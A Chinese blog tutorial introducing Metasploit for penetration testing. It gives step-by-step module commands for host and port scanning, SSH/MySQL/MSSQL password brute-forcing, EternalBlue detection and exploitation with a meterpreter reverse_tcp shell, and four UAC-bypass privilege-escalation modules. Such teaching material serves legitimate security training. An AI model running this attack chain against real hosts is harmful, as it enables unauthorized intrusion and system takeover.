0

0

浅谈MSF渗透测试

爱谁谁

爱谁谁

发布时间:2025-09-07 08:24:04

|

828人浏览过

|

来源于php中文网

原创

在渗透测试中,msf(metasploit framework)是一个必不可少的工具。作为一个免费且可下载的框架,它使获取、开发并利用计算机软件漏洞变得更加容易。msf内置了数百种针对已知软件漏洞的专业级攻击工具,涵盖了信息收集、漏洞扫描、权限提升、内网渗透等多种功能。

最近,MSF从4.7版本升级到了MSF5.0,优化了数据库处理逻辑,改进了msfconsole终端操作,并将PostgreSQL作为一个RESTful服务独立运行。此外,新版本还增加了Web服务框架、新的免杀模块,并对控制功能进行了优化。

接下来,小白总结了一些在渗透测试中使用频率较高的MSF命令,按以下几个部分进行介绍。

浅谈MSF渗透测试

信息收集

在发现目标网段中的存活主机时,我们可以使用auxiliary模块来获取目标网络的信息,包括端口开放情况和主机存活状态。

  • auxiliary/scanner/discovery/arp_sweep
  • auxiliary/scanner/smb/smb_version
    用于扫描存活的445端口主机
  • auxiliary/scanner/portscan/syn
    用于端口扫描
  • auxiliary/scanner/telnet/telnet_version
    用于telnet服务扫描
  • auxiliary/scanner/rdp/rdp_scanner
    用于远程桌面服务扫描
  • auxiliary/scanner/ssh/ssh_version
    用于ssh主机扫描

浅谈MSF渗透测试

通常,在不知道资产的情况下,我们会对整个网段进行扫描以找出存活主机,然后再对这些存活主机进行信息收集。这样可以缩短渗透测试的时间,避免盲目收集信息导致后期渗透路径不明确,达不到预期效果。

无论是端口扫描还是探测存活主机,都需要设置目标IP地址:

set rhosts ip地址
。如果扫描整个网段,还需要设置线程数:
set thread 线程数(根据情况设置)

浅谈MSF渗透测试

执行

run
命令开始扫描网段的存活主机,发现有7台服务器存活。这样我们就可以对这些存活主机进行下一步的信息收集,如22、445、3389等敏感端口的开放情况探测。需要说明的是,根据小白的渗透测试经验,通常不建议扫描整个网段,因为这对目标主机有损耗。可以直接扫描可能存在溢出漏洞的高危端口,如果发现漏洞,可以通过溢出来提权,这是一种捷径。如果需要进行全端口扫描,建议使用nmap工具。

浅谈MSF渗透测试

接下来,我们探测网段中开启445端口的主机。通过扫描发现网段中有3台主机开启了445端口,这样我们就可以在后期的漏洞探测中测试是否存在永恒之蓝漏洞。

  • use auxiliary/scanner/smb/smb_version
  • set rhosts 192.168.201.1/24
    //设置目标主机地址
  • set threads 30
    //设置扫描线程
  • run
    //执行扫描命令

浅谈MSF渗透测试浅谈MSF渗透测试

前期其他端口扫描的命令大同小异,接下来介绍一下爆破模块。在kali中内置了密码本,当然也可以使用自己的字典。内置密码表的地址为:

/usr/share/wordlists/metasploit/

浅谈MSF渗透测试

一般来说,我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用端口进行爆破。

  • auxiliary/scanner/mysql/mysql_login
  • auxiliary/scanner/mssql/mssql_login
  • auxiliary/scanner/ssh/ssh_login

漏洞探测

通过前期的信息收集,我们得知有三台主机开启了445端口,可以进一步探测是否存在永恒之蓝漏洞。我们可以使用以下命令进行探测:

在之前的培训中,本地搭建测试环境时发现2008 R2服务器在验证漏洞时直接蓝屏,具体原因不明。因此,在渗透测试过程中要合理评估漏洞的可用性。通过扫描发现有一台目标主机存在永恒之蓝漏洞。除了永恒之蓝,还有许多其他溢出漏洞,这里不再详述,原理相同。

  • use auxiliary/scanner/smb/smb_ms17_010
    //使用永恒之蓝探测模块
  • show options
    查看需要添加的信息
  • set rhosts 192.168.205.1/24
    //设置扫描目标主机IP地址
  • set threads 30
    //设置扫描线程
  • run
    //开启扫描

浅谈MSF渗透测试浅谈MSF渗透测试

漏洞利用

通过漏洞探测阶段,我们发现192.168.205.150这台目标主机存在永恒之蓝漏洞。我们可以使用MSF中的攻击模块进行漏洞攻击,看看能否获取到目标主机的webshell,从而通过溢出漏洞进行内网的横向扫描。执行以下命令:

MaxAI
MaxAI

MaxAI.me是一款功能强大的浏览器AI插件,集成了多种AI模型。

下载
  • use exploit/windows/smb/ms17_010_eternalblue
    //使用永恒之蓝攻击模块
  • set payload windows/meterpreter/reverse_tcp
    //设置一个Payload,使攻击机接受来自目标主机的session
  • set rhosts 192.168.205.150
    //设置目标主机地址
  • set lhost 192.168.205.148
    //设置接受payload的地址,这里设置MSF的地址
  • set LPORT 5555
    // 设置接受的端口,这个自己自定义,只要不与其它端口冲突就可以
  • exploit
    //执行攻击命令

浅谈MSF渗透测试浅谈MSF渗透测试

权限提升

当我们获得目标主机返回的shell后,第一步要检查当前用户是否具有管理员权限。如果不是管理员权限,则需要进行提权。我们可以利用kali中的本地提权方式,下面介绍通过绕过UAC提升当前用户权限的详细命令和步骤:

首先介绍一下UAC是什么以及它是如何运行的。

  1. 什么是UAC?

    Microsoft的Windows Vista和Windows Server 2008操作系统引入了用户账户控制(UAC)架构,以防止系统范围内的意外更改。这种更改是可以预见的,并且只需要很少的操作量。UAC是Windows的一个安全功能,旨在防止对操作系统进行未经授权的修改,只有在管理员授权的情况下才会进行某些更改。如果管理员不允许更改,这些更改将不会执行,Windows系统保持不变。

  2. UAC如何运行?

    UAC通过阻止程序执行任何涉及系统更改或特定任务的操作来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果以管理员身份运行程序,它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

    因为某些用户没有管理员权限,没有管理员权限就无法运行只能通过管理员权限才能操作的命令。比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作。

最直接的提权命令是

getsystem

绕过UAC防护机制的先决条件是我们首先通过exploit获得目标主机的meterpreter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。这里不直接演示,直接给出命令,大家多练习即可,熟能生巧。我们需要将获取到的session保存到后台,执行

background

浅谈MSF渗透测试

方法一:

  • use exploit/windows/local/bypassuac
    //通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
  • set session 1
    //使用session 1
  • exploit
    //执行权限提升的攻击模式

执行完毕成功后,再次查询当前用户的权限就会提升到管理员权限。这里已经是管理员权限了,所以会出现这样的提示。

浅谈MSF渗透测试浅谈MSF渗透测试

方法二:Windows权限提升绕过UAC保护(内存注入)

此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。执行完毕以下命令,当前用户权限就会变为管理员权限。

  • use exploit/windows/local/bypassuac_fodhelper
  • set session 1
  • exploit

方法三:通过COM处理程序劫持

首先介绍一下这个COM处理程序劫持,此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payload后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

  • use exploit/windows/local/bypassuac_comhijack
  • set session 1
  • exploit

方法四:通过Eventvwr注册表项

首先介绍一下这个模块,此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

  • use exploit/windows/local/bypassuac_eventvwr
  • set session 1
  • exploit

相关专题

更多
数据分析工具有哪些
数据分析工具有哪些

数据分析工具有Excel、SQL、Python、R、Tableau、Power BI、SAS、SPSS和MATLAB等。详细介绍:1、Excel,具有强大的计算和数据处理功能;2、SQL,可以进行数据查询、过滤、排序、聚合等操作;3、Python,拥有丰富的数据分析库;4、R,拥有丰富的统计分析库和图形库;5、Tableau,提供了直观易用的用户界面等等。

683

2023.10.12

SQL中distinct的用法
SQL中distinct的用法

SQL中distinct的语法是“SELECT DISTINCT column1, column2,...,FROM table_name;”。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

320

2023.10.27

SQL中months_between使用方法
SQL中months_between使用方法

在SQL中,MONTHS_BETWEEN 是一个常见的函数,用于计算两个日期之间的月份差。想了解更多SQL的相关内容,可以阅读本专题下面的文章。

347

2024.02.23

SQL出现5120错误解决方法
SQL出现5120错误解决方法

SQL Server错误5120是由于没有足够的权限来访问或操作指定的数据库或文件引起的。想了解更多sql错误的相关内容,可以阅读本专题下面的文章。

1095

2024.03.06

sql procedure语法错误解决方法
sql procedure语法错误解决方法

sql procedure语法错误解决办法:1、仔细检查错误消息;2、检查语法规则;3、检查括号和引号;4、检查变量和参数;5、检查关键字和函数;6、逐步调试;7、参考文档和示例。想了解更多语法错误的相关内容,可以阅读本专题下面的文章。

357

2024.03.06

oracle数据库运行sql方法
oracle数据库运行sql方法

运行sql步骤包括:打开sql plus工具并连接到数据库。在提示符下输入sql语句。按enter键运行该语句。查看结果,错误消息或退出sql plus。想了解更多oracle数据库的相关内容,可以阅读本专题下面的文章。

676

2024.04.07

sql中where的含义
sql中where的含义

sql中where子句用于从表中过滤数据,它基于指定条件选择特定的行。想了解更多where的相关内容,可以阅读本专题下面的文章。

575

2024.04.29

sql中删除表的语句是什么
sql中删除表的语句是什么

sql中用于删除表的语句是drop table。语法为drop table table_name;该语句将永久删除指定表的表和数据。想了解更多sql的相关内容,可以阅读本专题下面的文章。

417

2024.04.29

PHP WebSocket 实时通信开发
PHP WebSocket 实时通信开发

本专题系统讲解 PHP 在实时通信与长连接场景中的应用实践,涵盖 WebSocket 协议原理、服务端连接管理、消息推送机制、心跳检测、断线重连以及与前端的实时交互实现。通过聊天系统、实时通知等案例,帮助开发者掌握 使用 PHP 构建实时通信与推送服务的完整开发流程,适用于即时消息与高互动性应用场景。

11

2026.01.19

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 4.6万人学习

国外Web开发全栈课程全集
国外Web开发全栈课程全集

共12课时 | 1.0万人学习

微信小程序开发之API篇
微信小程序开发之API篇

共15课时 | 1.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号